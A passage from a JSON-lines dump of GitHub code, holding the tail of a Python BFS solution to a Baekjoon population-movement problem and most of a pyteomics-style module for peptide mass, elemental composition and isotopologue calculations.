0]\ndy = [0, 1, 0, -1]\n\nmoved = False\nanswer = 0\n\nwhile True:\n moved = False\n visited = [[False] * n for _ in range(n)]\n for i in range(n):\n for j in range(n):\n if not visited[i][j]:\n bfs(i, j, visited, graph)\n\n if moved:\n answer += 1\n else:\n break\n\nprint(answer)\n","repo_name":"noxknow/Python-Coding_test","sub_path":"00. 백준 문제/(5) 15000_26000 백준 문제/16234 인구 이동.py","file_name":"16234 인구 이동.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71786337443","text":"from __future__ import division\nimport math\nfrom .. import parser\nfrom ..auxiliary import PyteomicsError, _nist_mass, BasicComposition\nfrom itertools import chain, product, combinations_with_replacement\nfrom collections import defaultdict\ntry:\n from urllib import urlopen\nexcept ImportError:\n from urllib.request import urlopen\nfrom datetime import datetime\nimport re\nimport operator\nimport warnings\n\nnist_mass = _nist_mass\n\"\"\"\nA dict with the exact element masses downloaded from the NIST website:\nhttp://www.nist.gov/pml/data/comp.cfm . There are entries for each\nelement containing the masses and relative abundances of several\nabundant isotopes and a separate entry for undefined isotope with zero\nkey, mass of the most abundant isotope and 1.0 abundance.\n\"\"\"\n\nPROTON = 'H+'\n\ndef _make_isotope_string(element_name, isotope_num):\n \"\"\"Form a string label for an isotope.\"\"\"\n if isotope_num == 0:\n return element_name\n else:\n return '{}[{}]'.format(element_name, isotope_num)\n\n\ndef _parse_isotope_string(label):\n \"\"\"Parse an string with an isotope label and return the element name and\n the isotope number.\n\n >>> _parse_isotope_string('C')\n ('C', 0)\n >>> _parse_isotope_string('C[12]')\n ('C', 12)\n \"\"\"\n element_name, num = re.match(_isotope_string, label).groups()\n isotope_num = int(num) if num else 0\n return element_name, isotope_num\n\n\n# Initialize std_aa_comp and std_ion_comp before the Composition class\n# description, fill it later.\nstd_aa_comp = {}\n\"\"\"A dictionary with elemental compositions of the twenty standard\namino acid residues, selenocysteine, pyrrolysine,\nand standard H- and -OH terminal groups.\n\"\"\"\n\nstd_ion_comp = {}\n\"\"\"A dict with relative elemental compositions of the standard peptide\nfragment ions. An elemental composition of a fragment ion is calculated as a\ndifference between the total elemental composition of an ion\nand the sum of elemental compositions of its constituting amino acid residues.\n\"\"\"\n\n_isotope_string = r'^([A-Z][a-z+]*)(?:\\[(\\d+)\\])?$'\n_atom = r'([A-Z][a-z+]*)(?:\\[(\\d+)\\])?([+-]?\\d+)?'\n_formula = r'^({})*$'.format(_atom)\n\n\nclass Composition(BasicComposition):\n \"\"\"\n A Composition object stores a chemical composition of a\n substance. Basically, it is a dict object, with the names\n of chemical elements as keys and values equal to an integer number of\n atoms of the corresponding element in a substance.\n\n The main improvement over dict is that Composition objects allow\n adding and subtraction.\n \"\"\"\n _kw_sources = {'formula', 'sequence', 'parsed_sequence', 'split_sequence', 'composition'}\n _carrier_spec = r\"^(?P\\S+?)(?:(?P[+-])(?P\\d+)?)?$\"\n\n def _from_parsed_sequence(self, parsed_sequence, aa_comp):\n self.clear()\n comp = defaultdict(int)\n for label in parsed_sequence:\n if label in aa_comp:\n for elem, cnt in aa_comp[label].items():\n comp[elem] += cnt\n else:\n try:\n mod, aa = parser._split_label(label)\n for elem, cnt in chain(\n aa_comp[mod].items(), aa_comp[aa].items()):\n comp[elem] += cnt\n\n except (PyteomicsError, KeyError):\n raise PyteomicsError('No information for %s in `aa_comp`' % label)\n self._from_composition(comp)\n\n def _from_split_sequence(self, split_sequence, aa_comp):\n self.clear()\n comp = defaultdict(int)\n for group in split_sequence:\n i = 0\n while i < len(group):\n for j in range(len(group) + 1, -1, -1):\n try:\n label = ''.join(group[i:j])\n for elem, cnt in aa_comp[label].items():\n comp[elem] += cnt\n except KeyError:\n continue\n else:\n i = j\n break\n if j == 0:\n raise PyteomicsError(\"Invalid group starting from position %d: %s\" % (i + 1, group))\n self._from_composition(comp)\n\n def _from_sequence(self, sequence, aa_comp):\n parsed_sequence = parser.parse(\n sequence,\n labels=aa_comp,\n show_unmodified_termini=True)\n self._from_parsed_sequence(parsed_sequence, aa_comp)\n\n def _from_formula(self, formula):\n if not re.match(_formula, formula):\n raise PyteomicsError('Invalid formula: ' + formula)\n for elem, isotope, number in re.findall(_atom, formula):\n self[_make_isotope_string(elem, int(isotope) if isotope else 0)] += int(number) if number else 1\n\n def _from_composition(self, comp):\n for isotope_string, num_atoms in comp.items():\n element_name, isotope_num = _parse_isotope_string(\n isotope_string)\n\n # Remove explicitly undefined isotopes (e.g. X[0]).\n self[_make_isotope_string(element_name, isotope_num)] = num_atoms\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n A Composition object stores a chemical composition of a\n substance. Basically it is a dict object, in which keys are the names\n of chemical elements and values contain integer numbers of\n corresponding atoms in a substance.\n\n The main improvement over dict is that Composition objects allow\n addition and subtraction.\n\n A Composition object can be initialized with one of the\n following arguments: formula, sequence, parsed_sequence or\n split_sequence.\n\n If none of these are specified, the constructor will look at the first\n positional argument and try to build the object from it. Without\n positional arguments, a Composition will be constructed directly from\n keyword arguments.\n\n If there's an ambiguity, i.e. the argument is both a valid sequence\n and a formula (such as 'HCN'), it will be treated as a sequence. You\n need to provide the 'formula' keyword to override this.\n\n .. warning::\n\n Be careful when supplying a list with a parsed sequence or a split\n sequence as a keyword argument. It must be\n obtained with enabled `show_unmodified_termini` option.\n When supplying it as a positional argument, the option doesn't\n matter, because the positional argument is always converted to\n a sequence prior to any processing.\n\n Parameters\n ----------\n formula : str, optional\n A string with a chemical formula. All elements must be present in\n `mass_data`.\n sequence : str, optional\n A polypeptide sequence string in modX notation.\n parsed_sequence : list of str, optional\n A polypeptide sequence parsed into a list of amino acids.\n split_sequence : list of tuples of str, optional\n A polypeptyde sequence parsed into a list of tuples\n (as returned be :py:func:`pyteomics.parser.parse` with\n ``split=True``).\n aa_comp : dict, optional\n A dict with the elemental composition of the amino acids (the\n default value is std_aa_comp).\n ion_comp : dict, optional\n A dict with the relative elemental compositions of peptide ion\n fragments (default is :py:data:`std_ion_comp`).\n ion_type : str, optional\n If specified, then the polypeptide is considered to be in the form\n of the corresponding ion.\n \"\"\"\n defaultdict.__init__(self, int)\n\n aa_comp = kwargs.get('aa_comp', std_aa_comp)\n\n kw_given = self._kw_sources.intersection(kwargs)\n if len(kw_given) > 1:\n raise PyteomicsError('Only one of {} can be specified!\\n'\n 'Given: {}'.format(', '.join(self._kw_sources),\n ', '.join(kw_given)))\n elif kw_given:\n kwa = kw_given.pop()\n if kwa == 'formula':\n self._from_formula(kwargs['formula'])\n else:\n getattr(self, '_from_' + kwa)(kwargs[kwa], aa_comp)\n\n # can't build from kwargs\n elif args:\n if isinstance(args[0], dict):\n self._from_composition(args[0])\n elif isinstance(args[0], str):\n try:\n self._from_sequence(args[0], aa_comp)\n except PyteomicsError:\n try:\n self._from_formula(args[0])\n except PyteomicsError:\n raise PyteomicsError(\n 'Could not create a Composition object from '\n 'string: \"{}\": not a valid sequence or '\n 'formula'.format(args[0]))\n else:\n try:\n self._from_sequence(parser.tostring(args[0], True), aa_comp)\n except Exception:\n raise PyteomicsError('Could not create a Composition object'\n ' from `{}`. A Composition object must be '\n 'specified by sequence, parsed or split sequence,'\n ' formula or dict.'.format(args[0]))\n else:\n self._from_composition(kwargs)\n\n ion_comp = kwargs.get('ion_comp', std_ion_comp)\n if 'ion_type' in kwargs:\n self += ion_comp[kwargs['ion_type']]\n\n # Charge is not supported in kwargs\n charge = self['H+']\n if 'charge' in kwargs:\n if charge:\n raise PyteomicsError('Charge is specified both by the number of protons and `charge` in kwargs')\n else:\n warnings.warn('charge and charge carrier should be specified when calling mass(). '\n 'Support for charge in Composition.__init__ will be removed in a future version.',\n FutureWarning)\n self['H+'] = kwargs['charge']\n\n @classmethod\n def _parse_carrier(cls, spec):\n \"\"\"Parse a charge carrier spec.\n The spec syntax is: [+-][N]\n is a chemical formula as supported by :py:meth:`_from_formula`.\n [+-] is one of \"+\" or \"-\", N is a natural number (1 is assumed if omitted).\n If both the sign and the charge are missing, the charge of this group can be\n specified as the number of protons in ``. Otherwise, having protons\n in `` is an error.\n\n Returns\n -------\n out : tuple\n Parsed :py:class:`Composition` and charge of the charge carrier.\n \"\"\"\n if spec is None:\n return cls({PROTON: 1}), 1\n try:\n formula, sign, charge = re.match(cls._carrier_spec, spec).groups()\n except AttributeError:\n raise PyteomicsError('Invalid charge carrier specification: ' + spec)\n comp = cls(formula=formula)\n if sign is not None and PROTON in comp:\n raise PyteomicsError('Carrier contains protons and also has a charge specified.')\n if sign is None:\n # only formula is given\n if PROTON not in comp:\n charge = None\n charge = comp[PROTON]\n elif charge is None:\n charge = (-1, 1)[sign == '+']\n else:\n charge = int(charge) * (-1, 1)[sign == '+']\n return comp, charge\n\n def mass(self, **kwargs):\n \"\"\"Calculate the mass or *m/z* of a :py:class:`Composition`.\n\n Parameters\n ----------\n average : bool, optional\n If :py:const:`True` then the average mass is calculated.\n Note that mass is not averaged for elements with specified isotopes.\n Default is :py:const:`False`.\n charge : int, optional\n If not 0 then m/z is calculated. See also: `charge_carrier`.\n charge_carrier : str or dict, optional\n Chemical group carrying the charge. Defaults to a proton, \"H+\".\n If string, must be a chemical formula, as supported by the\n :class:`Composition` `formula` argument,\n except it must end with a charge formatted as \"[+-][N]\".\n If N is omitted, single charge is assumed.\n Examples of `charge_carrier`: \"H+\", \"NH3+\"\n (here, 3 is part of the composition, and + is a single charge),\n \"Fe+2\" (\"Fe\" is the formula and \"+2\" is the charge).\n .. note :: `charge` must be a multiple of `charge_carrier` charge.\n\n If dict, it is the atomic composition of the group.\n In this case, the charge can be passed separately as `carrier_charge`\n or it will be deduced from the number of protons in `charge_carrier`.\n carrier_charge : int, optional\n Charge of the charge carrier group (if `charge_carrier` is specified\n as a composition dict).\n\n .. note :: `charge` must be a multiple of `charge_charge`.\n\n mass_data : dict, optional\n A dict with the masses of the chemical elements (the default\n value is :py:data:`nist_mass`).\n ion_comp : dict, optional\n A dict with the relative elemental compositions of peptide ion\n fragments (default is :py:data:`std_ion_comp`).\n ion_type : str, optional\n If specified, then the polypeptide is considered to be in the form\n of the corresponding ion. Do not forget to specify the charge state!\n absolute : bool, optional\n If :py:const:`True` (default), the m/z value returned will always be positive,\n even for negatively charged ions.\n\n .. note ::\n `absolute` only applies when `charge` is negative.\n The mass can still be negative for negative compositions.\n\n Returns\n -------\n mass : float\n \"\"\"\n composition = self\n mass_data = kwargs.get('mass_data', nist_mass)\n\n # Calculate mass\n mass = 0.0\n average = kwargs.get('average', False)\n absolute = kwargs.get('absolute', True)\n\n for isotope_string, amount in composition.items():\n element_name, isotope_num = _parse_isotope_string(isotope_string)\n # Calculate average mass if required and the isotope number is\n # not specified.\n if (not isotope_num) and average:\n for isotope, data in mass_data[element_name].items():\n if isotope:\n mass += (amount * data[0] * data[1])\n else:\n mass += (amount * mass_data[element_name][isotope_num][0])\n\n # Calculate m/z if required\n charge = kwargs.get('charge')\n if charge:\n # get charge carrier mass and charge\n charge_carrier = kwargs.get('charge_carrier')\n ccharge = kwargs.get('carrier_charge')\n if isinstance(charge_carrier, dict):\n carrier_comp = Composition(charge_carrier)\n if ccharge and PROTON in carrier_comp:\n raise PyteomicsError('`carrier_charge` specified but the charge carrier contains protons.')\n carrier_charge = ccharge or carrier_comp[PROTON]\n if not carrier_charge:\n raise PyteomicsError('Charge carrier charge not specified.')\n else:\n carrier_comp, carrier_charge = self._parse_carrier(charge_carrier)\n if carrier_charge and ccharge:\n raise PyteomicsError('Both `carrier_charge` and charge in carrier spec are given.')\n carrier_charge = ccharge or carrier_charge\n if not carrier_charge:\n raise PyteomicsError('Charge of the charge carrier group not specified.')\n if charge % carrier_charge:\n raise PyteomicsError('The `charge` must be a multiple of the carrier charge. Given: {} and {}'.format(\n charge, carrier_charge))\n num = charge // carrier_charge\n carrier_mass = carrier_comp.mass(mass_data=mass_data, average=average, charge=0)\n if charge and not composition['H+']:\n mass += carrier_mass * num\n if charge and composition['H+']:\n raise PyteomicsError('Composition contains protons and charge is explicitly specified.')\n if charge is None and composition['H+']:\n warnings.warn('Charge is not specified, but the Composition contains protons. Assuming m/z calculation.')\n charge = composition['H+']\n if charge:\n mass /= charge\n if charge and charge < 0 and absolute:\n mass = abs(mass)\n return mass\n\n\nstd_aa_comp.update({\n 'A': Composition({'H': 5, 'C': 3, 'O': 1, 'N': 1}),\n 'C': Composition({'H': 5, 'C': 3, 'S': 1, 'O': 1, 'N': 1}),\n 'D': Composition({'H': 5, 'C': 4, 'O': 3, 'N': 1}),\n 'E': Composition({'H': 7, 'C': 5, 'O': 3, 'N': 1}),\n 'F': Composition({'H': 9, 'C': 9, 'O': 1, 'N': 1}),\n 'G': Composition({'H': 3, 'C': 2, 'O': 1, 'N': 1}),\n 'H': Composition({'H': 7, 'C': 6, 'N': 3, 'O': 1}),\n 'I': Composition({'H': 11, 'C': 6, 'O': 1, 'N': 1}),\n 'J': Composition({'H': 11, 'C': 6, 'O': 1, 'N': 1}),\n 'K': Composition({'H': 12, 'C': 6, 'N': 2, 'O': 1}),\n 'L': Composition({'H': 11, 'C': 6, 'O': 1, 'N': 1}),\n 'M': Composition({'H': 9, 'C': 5, 'S': 1, 'O': 1, 'N': 1}),\n 'N': Composition({'H': 6, 'C': 4, 'O': 2, 'N': 2}),\n 'P': Composition({'H': 7, 'C': 5, 'O': 1, 'N': 1}),\n 'Q': Composition({'H': 8, 'C': 5, 'O': 2, 'N': 2}),\n 'R': Composition({'H': 12, 'C': 6, 'N': 4, 'O': 1}),\n 'S': Composition({'H': 5, 'C': 3, 'O': 2, 'N': 1}),\n 'T': Composition({'H': 7, 'C': 4, 'O': 2, 'N': 1}),\n 'V': Composition({'H': 9, 'C': 5, 'O': 1, 'N': 1}),\n 'W': Composition({'C': 11, 'H': 10, 'N': 2, 'O': 1}),\n 'Y': Composition({'H': 9, 'C': 9, 'O': 2, 'N': 1}),\n 'U': Composition({'H': 5, 'C': 3, 'O': 1, 'N': 1, 'Se' : 1}),\n 'O': Composition({'H': 19, 'C': 12, 'O': 2, 'N': 3}),\n 'H-': Composition({'H': 1}),\n '-OH': Composition({'O': 1, 'H': 1}),\n })\n\n\nstd_ion_comp.update({\n 'M': Composition(formula=''),\n 'M-H2O': Composition(formula='H-2O-1'),\n 'M-NH3': Composition(formula='N-1H-3'),\n 'a': Composition(formula='H-2O-1' + 'C-1O-1'),\n 'a-H2O': Composition(formula='H-2O-1' + 'C-1O-1' + 'H-2O-1'),\n 'a-NH3': Composition(formula='H-2O-1' + 'C-1O-1' + 'N-1H-3'),\n 'b': Composition(formula='H-2O-1'),\n 'b-H2O': Composition(formula='H-2O-1' + 'H-2O-1'),\n 'b-NH3': Composition(formula='H-2O-1' + 'N-1H-3'),\n 'c': Composition(formula='H-2O-1' + 'NH3'),\n 'c-1': Composition(formula='H-2O-1' + 'NH3' + 'H-1'),\n 'c-dot': Composition(formula='H-2O-1' + 'NH3' + 'H1'),\n 'c+1': Composition(formula='H-2O-1' + 'NH3' + 'H1'),\n 'c+2': Composition(formula='H-2O-1' + 'NH3' + 'H2'),\n 'c-H2O': Composition(formula='H-2O-1' + 'NH3' + 'H-2O-1'),\n 'c-NH3': Composition(formula='H-2O-1'),\n 'x': Composition(formula='H-2O-1' + 'CO2'),\n 'x-H2O': Composition(formula='H-2O-1' + 'CO2' + 'H-2O-1'),\n 'x-NH3': Composition(formula='H-2O-1' + 'CO2' + 'N-1H-3'),\n 'y': Composition(formula=''),\n 'y-H2O': Composition(formula='H-2O-1'),\n 'y-NH3': Composition(formula='N-1H-3'),\n 'z': Composition(formula='H-2O-1' + 'ON-1H-1'),\n 'z-dot': Composition(formula='H-2O-1' + 'ON-1'),\n 'z+1': Composition(formula='H-2O-1' + 'ON-1H1'),\n 'z+2': Composition(formula='H-2O-1' + 'ON-1H2'),\n 'z+3': Composition(formula='H-2O-1' + 'ON-1H3'),\n 'z-H2O': Composition(formula='H-2O-1' + 'ON-1H-1' + 'H-2O-1'),\n 'z-NH3': Composition(formula='H-2O-1' + 'ON-1H-1' + 'N-1H-3'),\n })\n\n\ndef calculate_mass(*args, **kwargs):\n \"\"\"Calculates the monoisotopic mass of a polypeptide defined by a\n sequence string, parsed sequence, chemical formula or\n Composition object.\n\n One or none of the following keyword arguments is required:\n **formula**, **sequence**, **parsed_sequence**, **split_sequence**\n or **composition**.\n All arguments given are used to create a :py:class:`Composition` object,\n unless an existing one is passed as a keyword argument.\n\n Note that if a sequence string is supplied and terminal groups are not\n explicitly shown, then the mass is calculated for a polypeptide with\n standard terminal groups (NH2- and -OH).\n\n .. warning::\n\n Be careful when supplying a list with a parsed sequence. It must be\n obtained with enabled `show_unmodified_termini` option.\n\n Parameters\n ----------\n formula : str, optional\n A string with a chemical formula.\n sequence : str, optional\n A polypeptide sequence string in modX notation.\n parsed_sequence : list of str, optional\n A polypeptide sequence parsed into a list of amino acids.\n composition : Composition, optional\n A Composition object with the elemental composition of a substance.\n aa_comp : dict, optional\n A dict with the elemental composition of the amino acids (the\n default value is std_aa_comp).\n average : bool, optional\n If :py:const:`True` then the average mass is calculated. Note that mass\n is not averaged for elements with specified isotopes. Default is\n :py:const:`False`.\n charge : int, optional\n If not 0 then m/z is calculated: the mass is increased\n by the corresponding number of proton masses and divided\n by `charge`.\n charge_carrier : str or dict, optional\n Chemical group carrying the charge. Defaults to a proton, \"H+\".\n If string, must be a chemical formula, as supported by the\n :class:`Composition` `formula` argument,\n except it must end with a charge formatted as \"[+-][N]\".\n If N is omitted, single charge is assumed.\n Examples of `charge_carrier`: \"H+\", \"NH3+\"\n (here, 3 is part of the composition, and + is a single charge),\n \"Fe+2\" (\"Fe\" is the formula and \"+2\" is the charge).\n\n .. note ::\n `charge` must be a multiple of `charge_carrier` charge.\n\n If dict, it is the atomic composition of the group.\n In this case, the charge can be passed separately as `carrier_charge`\n or it will be deduced from the number of protons in `charge_carrier`.\n carrier_charge : int, optional\n Charge of the charge carrier group (if `charge_carrier` is specified\n as a composition dict).\n\n .. note ::\n `charge` must be a multiple of `charge_charge`.\n\n mass_data : dict, optional\n A dict with the masses of the chemical elements (the default\n value is :py:data:`nist_mass`).\n ion_comp : dict, optional\n A dict with the relative elemental compositions of peptide ion\n fragments (default is :py:data:`std_ion_comp`).\n ion_type : str, optional\n If specified, then the polypeptide is considered to be in the form\n of the corresponding ion. Do not forget to specify the charge state!\n absolute : bool, optional\n If :py:const:`True` (default), the m/z value returned will always be positive,\n even for negatively charged ions.\n\n .. note ::\n `absolute` only applies when `charge` is negative.\n The mass can still be negative for negative compositions.\n\n Returns\n -------\n mass : float\n \"\"\"\n # These parameters must be passed to mass(), not __init__\n mass_kw = {}\n for k in ['charge', 'charge_carrier', 'carrier_charge', 'absolute']:\n if k in kwargs:\n mass_kw[k] = kwargs.pop(k)\n # Make a copy of `composition` keyword argument.\n composition = (Composition(kwargs['composition']) if 'composition' in kwargs else Composition(*args, **kwargs))\n kwargs.update(mass_kw)\n return composition.mass(**kwargs)\n\n\ndef most_probable_isotopic_composition(*args, **kwargs):\n \"\"\"Calculate the most probable isotopic composition of a peptide\n molecule/ion defined by a sequence string, parsed sequence,\n chemical formula or :py:class:`Composition` object.\n\n Note that if a sequence string without terminal groups is supplied then the\n isotopic composition is calculated for a polypeptide with standard\n terminal groups (H- and -OH).\n\n For each element, only two most abundant isotopes are considered.\n\n Parameters\n ----------\n formula : str, optional\n A string with a chemical formula.\n sequence : str, optional\n A polypeptide sequence string in modX notation.\n parsed_sequence : list of str, optional\n A polypeptide sequence parsed into a list of amino acids.\n composition : :py:class:`Composition`, optional\n A :py:class:`Composition` object with the elemental composition of a\n substance.\n elements_with_isotopes : list of str\n A list of elements to be considered in isotopic distribution\n (by default, every element has a isotopic distribution).\n aa_comp : dict, optional\n A dict with the elemental composition of the amino acids (the\n default value is :py:data:`std_aa_comp`).\n mass_data : dict, optional\n A dict with the masses of chemical elements (the default\n value is :py:data:`nist_mass`).\n ion_comp : dict, optional\n A dict with the relative elemental compositions of peptide ion\n fragments (default is :py:data:`std_ion_comp`).\n\n Returns\n -------\n out: tuple (Composition, float)\n A tuple with the most probable isotopic composition and its\n relative abundance.\n \"\"\"\n\n composition = (dict(kwargs['composition']) if 'composition' in kwargs\n else Composition(*args, **kwargs))\n\n # Removing isotopes from the composition.\n for isotope_string in composition:\n element_name, isotope_num = _parse_isotope_string(isotope_string)\n if isotope_num:\n composition[element_name] += composition.pop(isotope_string)\n\n mass_data = kwargs.get('mass_data', nist_mass)\n elements_with_isotopes = kwargs.get('elements_with_isotopes')\n isotopic_composition = Composition()\n\n for element_name in composition:\n if not elements_with_isotopes or (element_name in elements_with_isotopes):\n # Take the two most abundant isotopes.\n first_iso, second_iso = sorted([(i[0], i[1][1]) for i in mass_data[element_name].items() if i[0]],\n key=lambda x: -x[1])[:2]\n\n # Write the number of isotopes of the most abundant type.\n first_iso_str = _make_isotope_string(element_name, first_iso[0])\n isotopic_composition[first_iso_str] = int(math.ceil(\n composition[element_name])) * first_iso[1]\n\n # Write the number of the second isotopes.\n second_iso_str = _make_isotope_string(element_name, second_iso[0])\n isotopic_composition[second_iso_str] = composition[element_name] - isotopic_composition[first_iso_str]\n else:\n isotopic_composition[element_name] = composition[element_name]\n\n return (isotopic_composition,\n isotopic_composition_abundance(composition=isotopic_composition, mass_data=mass_data))\n\n\ndef isotopic_composition_abundance(*args, **kwargs):\n \"\"\"Calculate the relative abundance of a given isotopic composition\n of a molecule.\n\n Parameters\n ----------\n formula : str, optional\n A string with a chemical formula.\n composition : Composition, optional\n A Composition object with the isotopic composition of a substance.\n mass_data : dict, optional\n A dict with the masses of chemical elements (the default\n value is :py:data:`nist_mass`).\n\n Returns\n -------\n relative_abundance : float\n The relative abundance of a given isotopic composition.\n \"\"\"\n\n composition = (Composition(kwargs['composition'])\n if 'composition' in kwargs\n else Composition(*args, **kwargs))\n\n isotopic_composition = defaultdict(dict)\n\n # Check if there are default and non-default isotopes of the same\n # element and rearrange the elements.\n for element in composition:\n element_name, isotope_num = _parse_isotope_string(element)\n\n # If there is already an entry for this element and either it\n # contains a default isotope or newly added isotope is default\n # then raise an exception.\n if (element_name in isotopic_composition) and (isotope_num == 0 or 0 in isotopic_composition[element_name]):\n raise PyteomicsError(\n 'Please specify the isotopic states of all atoms of %s or do not specify them at all.' % element_name)\n else:\n isotopic_composition[element_name][isotope_num] = composition[element]\n\n # Calculate relative abundance.\n mass_data = kwargs.get('mass_data', nist_mass)\n num1, num2, denom = 1, 1, 1\n for element_name, isotope_dict in isotopic_composition.items():\n num1 *= math.factorial(sum(isotope_dict.values()))\n for isotope_num, isotope_content in isotope_dict.items():\n denom *= math.factorial(isotope_content)\n if isotope_num:\n num2 *= mass_data[element_name][isotope_num][1] ** isotope_content\n\n return num2 * (num1 / denom)\n\n\ndef isotopologues(*args, **kwargs):\n \"\"\"Iterate over possible isotopic states of a molecule.\n The molecule can be defined by formula, sequence, parsed sequence, or composition.\n The space of possible isotopic compositions is restrained by parameters\n ``elements_with_isotopes``, ``isotope_threshold``, ``overall_threshold``.\n\n Parameters\n ----------\n formula : str, optional\n A string with a chemical formula.\n sequence : str, optional\n A polypeptide sequence string in modX notation.\n parsed_sequence : list of str, optional\n A polypeptide sequence parsed into a list of amino acids.\n composition : :py:class:`Composition`, optional\n A :py:class:`Composition` object with the elemental composition of a\n substance.\n report_abundance : bool, optional\n If :py:const:`True`, the output will contain 2-tuples: `(composition, abundance)`.\n Otherwise, only compositions are yielded. Default is :py:const:`False`.\n elements_with_isotopes : container of str, optional\n A set of elements to be considered in isotopic distribution\n (by default, every element has an isotopic distribution).\n isotope_threshold : float, optional\n The threshold abundance of a specific isotope to be considered.\n Default is :py:const:`5e-4`.\n overall_threshold : float, optional\n The threshold abundance of the calculateed isotopic composition.\n Default is :py:const:`0`.\n aa_comp : dict, optional\n A dict with the elemental composition of the amino acids (the\n default value is :py:data:`std_aa_comp`).\n mass_data : dict, optional\n A dict with the masses of chemical elements (the default\n value is :py:data:`nist_mass`).\n\n Returns\n -------\n out : iterator\n Iterator over possible isotopic compositions.\n \"\"\"\n iso_threshold = kwargs.pop('isotope_threshold', 5e-4)\n overall_threshold = kwargs.pop('overall_threshold', 0.0)\n mass_data = kwargs.get('mass_data', nist_mass)\n elements_with_isotopes = kwargs.get('elements_with_isotopes')\n report_abundance = kwargs.get('report_abundance', False)\n composition = Composition(kwargs['composition']) if 'composition' in kwargs else Composition(*args, **kwargs)\n other_kw = kwargs.copy()\n for k in Composition._kw_sources:\n other_kw.pop(k, None)\n\n dict_elem_isotopes = {}\n for element in composition:\n if elements_with_isotopes is None or element in elements_with_isotopes:\n element_name, isotope_num = _parse_isotope_string(element)\n isotopes = {k: v for k, v in mass_data[element_name].items() if k != 0 and v[1] >= iso_threshold}\n list_isotopes = [_make_isotope_string(element_name, k) for k in isotopes]\n dict_elem_isotopes[element] = list_isotopes\n else:\n dict_elem_isotopes[element] = [element]\n all_isotoplogues = []\n for element, list_isotopes in dict_elem_isotopes.items():\n n = composition[element]\n list_comb_element_n = []\n for elementXn in combinations_with_replacement(list_isotopes, n):\n list_comb_element_n.append(elementXn)\n all_isotoplogues.append(list_comb_element_n)\n\n for isotopologue in product(*all_isotoplogues):\n ic = Composition(formula=''.join(atom for el in isotopologue for atom in el), **other_kw)\n if report_abundance or overall_threshold > 0.0:\n abundance = isotopic_composition_abundance(composition=ic, **other_kw)\n if abundance > overall_threshold:\n if report_abundance:\n yield (ic, abundance)\n else:\n yield ic\n else:\n yield ic\n\n\nstd_aa_mass = {\n 'G': 57.02146372057,\n 'A': 71.03711378471,\n 'S': 87.03202840427001,\n 'P': 97.05276384885,\n 'V': 99.06841391299,\n 'T': 101.04767846841,\n 'C': 103.00918478471,\n 'L': 113.08406397713001,\n 'I': 113.08406397713001,\n 'J': 113.08406397713001,\n 'N': 114.04292744114001,\n 'D': 115.02694302383001,\n 'Q': 128.05857750527997,\n 'K': 128.09496301399997,\n 'E': 129.04259308796998,\n 'M': 131.04048491299,\n 'H': 137.05891185845002,\n 'F': 147.06841391298997,\n 'U': 150.95363508471,\n 'R': 156.10111102359997,\n 'Y': 163.06332853254997,\n 'W': 186.07931294985997,\n 'O': 237.14772686284996}\n\"\"\"A dictionary with monoisotopic masses of the twenty standard\namino acid residues, selenocysteine and pyrrolysine.\n\"\"\"\n\n\ndef fast_mass(sequence, ion_type=None, charge=None, **kwargs):\n \"\"\"Calculate monoisotopic mass of an ion using the fast\n algorithm. May be used only if amino acid residues are presented in\n one-letter code.\n\n Parameters\n ----------\n sequence : str\n A polypeptide sequence string.\n ion_type : str, optional\n If specified, then the polypeptide is considered to be\n in a form of corresponding ion. Do not forget to\n specify the charge state!\n charge : int, optional\n If not 0 then m/z is calculated: the mass is increased\n by the corresponding number of proton masses and divided\n by z.\n mass_data : dict, optional\n A dict with the masses of chemical elements (the default\n value is :py:data:`nist_mass`).\n aa_mass : dict, optional\n A dict with the monoisotopic mass of amino acid residues\n (default is std_aa_mass);\n ion_comp : dict, optional\n A dict with the relative elemental compositions of peptide ion\n fragments (default is :py:data:`std_ion_comp`).\n\n Returns\n -------\n mass : float\n Monoisotopic mass or m/z of a peptide molecule/ion.\n \"\"\"\n aa_mass = kwargs.get('aa_mass', std_aa_mass)\n try:\n mass = sum(aa_mass[i] for i in sequence)\n except KeyError as e:\n raise PyteomicsError('No mass data for residue: ' + e.args[0])\n\n mass_data = kwargs.get('mass_data', nist_mass)\n mass += mass_data['H'][0][0] * 2 + mass_data['O'][0][0]\n\n if ion_type:\n try:\n icomp = kwargs.get('ion_comp', std_ion_comp)[ion_type]\n except KeyError:\n raise PyteomicsError('Unknown ion type: {}'.format(ion_type))\n\n mass += sum(mass_data[element][0][0] * num for element, num in icomp.items())\n\n if charge:\n mass = (mass + mass_data['H+'][0][0] * charge) / charge\n\n return mass\n\n\ndef fast_mass2(sequence, ion_type=None, charge=None, **kwargs):\n \"\"\"Calculate monoisotopic mass of an ion using the fast\n algorithm. *modX* notation is fully supported.\n\n Parameters\n ----------\n sequence : str\n A polypeptide sequence string.\n ion_type : str, optional\n If specified, then the polypeptide is considered to be\n in a form of corresponding ion. Do not forget to\n specify the charge state!\n charge : int, optional\n If not 0 then m/z is calculated: the mass is increased\n by the corresponding number of proton masses and divided\n by z.\n mass_data : dict, optional\n A dict with the masses of chemical elements (the default\n value is :py:data:`nist_mass`).\n aa_mass : dict, optional\n A dict with the monoisotopic mass of amino acid residues\n (default is std_aa_mass);\n ion_comp : dict, optional\n A dict with the relative elemental compositions of peptide ion\n fragments (default is :py:data:`std_ion_comp`).\n\n Returns\n -------\n mass : float\n Monoisotopic mass or m/z of a peptide molecule/ion.\n \"\"\"\n aa_mass = kwargs.get('aa_mass', std_aa_mass)\n mass_data = kwargs.get('mass_data', nist_mass)\n try:\n comp = parser.amino_acid_composition(sequence,\n show_unmodified_termini=True,\n allow_unknown_modifications=True,\n labels=aa_mass)\n except PyteomicsError:\n raise PyteomicsError('Mass not specified for label(s): {}'.format(\n ', '.join(set(parser.parse(sequence)).difference(aa_mass))))\n\n try:\n mass = 0\n for aa, num in comp.items():\n if aa in aa_mass:\n mass += aa_mass[aa] * num\n elif parser.is_term_mod(aa):\n assert num == 1\n mass += calculate_mass(formula=aa.strip('-'), mass_data=mass_data)\n else:\n mod, X = parser._split_label(aa)\n mass += (aa_mass[mod] + aa_mass[X]) * num\n except KeyError as e:\n raise PyteomicsError('Unspecified mass for modification: \"{}\"'.format(e.args[0]))\n\n if ion_type:\n try:\n icomp = kwargs.get('ion_comp', std_ion_comp)[ion_type]\n except KeyError:\n raise PyteomicsError('Unknown ion type: 